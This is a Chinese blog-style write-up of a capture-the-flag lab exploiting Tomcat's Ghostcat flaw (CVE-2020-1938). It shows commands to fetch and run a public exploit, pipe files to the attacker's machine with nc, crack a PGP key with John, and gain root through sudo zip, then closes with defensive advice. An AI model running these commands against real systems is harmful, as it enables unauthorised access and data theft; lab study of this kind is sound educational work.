赞
踩
Tomcat服务器是一个免费的开放源代码的Web应用服务器,被普遍使用在轻量级Web应用服务的构架中。 Tomcat提供了可以在其中运行Java代码的“纯Java” HTTP Web服务器环境。
CVE-2020-1938是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
评定方式 | 等级 |
---|---|
CVSS Score | 7.5 |
Confidentiality Impact | Partial |
Integrity Impact | Partial |
Availability Impact | Partial |
实现难度 | 低 |
基础权限 | 不需要 |
漏洞类型 | Execute Code |
参见Apache Tomcat CVE-2020-1938,细思极恐&Apache Tomcat任意文件读取漏洞和命令执行漏洞源码分析
使用Nmap扫描,发现Apache运行在8080端口,8009端口运行ajp服务,
nmap -sV -sC -T4 <ip>
首页就是Apache的默认页面,没啥有用的,其他页面也无法访问
Google或Hackticks搜索AJP的相关内容
下载方法一提供的EXP
wget https://raw.githubusercontent.com/00theway/Ghostcat-CNVD-2020-10487/master/ajpShooter.py
运行EXP,获得了一个用户名和密码
python3 ajpShooter.py http://10.10.76.159 8009 /WEB-INF/web.xml read
使用上文获得的用户名和密码进行ssh登录,并发现有两个貌似可以利用的文件:.pgp和.asc!
为了更好的读取两个文件使用nc将他们传到kali上,然后进行base64解码
base64 credential.pgp | nc 10.9.17.195 1234
base64 tryhackme.asc | nc 10.9.17.195 1234
nc -nvlp 1234 > credential.pgp.b64
nc -nvlp 1234 > tryhackme.asc.b64
猜测这个在asc文件中的PGP key是用来打开pgp文件的,那么先来尝试破解这个asc文件,将其转换为hash,然后使用John破解
base64 -d credential.pgp.b64 > credential.pgp
base64 -d tryhackme.asc.b64 > tryhackme.asc
gpg2john tryhackme.asc > tryhackme.asc.john
john --wordlist=/usr/share/wordlists/rockyou.txt tryhackme.asc.john
得到密码后,将破解的key导入到asc文件,然后输入得到的密码,最后得到解密后的pgp文件,发现另外一个用户名
gpg --import tryhackme.asc
gpg --decrypt credential.pgp
使用新获得的用户名和密码ssh登录,使用sudo命令查看当前权限,发现当前用户能够以root权限运行zip并且不需要密码
使用GTFObins提供的方法进行提权
Apache Tomcat CVE-2020-1938这个漏洞确实凶猛,攻击者可以读取到webapp目录下的任意文件,包括war包。而war包里有properties文件,不少开发团队都把连接数据库的用户名密码、JWT 签名secret、加解密密钥等重要信息放在这个文件里。这个漏洞的存在,允许攻击者可以最终读取到这些密钥数据,当然源码也是能通过反编译war包里的class文件得到的。
为了避免密钥泄露,常规做法(不要硬编码密钥到源代码、密钥单独放置在properties文件并且和源代码分别存储在不同的代码仓库)并不奏效,更为妥善的办法是使用密钥管理服务,你可以直接使用云服务提供商的密钥管理服务,也可以自己搭建一个。
安全原则是很重要的,尤其是最小权限和纵深防御原则。在这个漏洞案例中,就算你使用的Tomcat有问题,但由于相关端口已经关闭,而且还有好几层的网络映射和路由配置的防御,所以也不会受到影响。当然,第三方组件安全管理、安全补丁管理、实施端口监控等手段也有助于减轻或避免这个漏洞带来的影响。
CVE Details (2020) CVE-2020-1938. Available at: https://www.cvedetails.com/cve/CVE-2020-1938/…(Accessed: 22 Oct 2022).
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。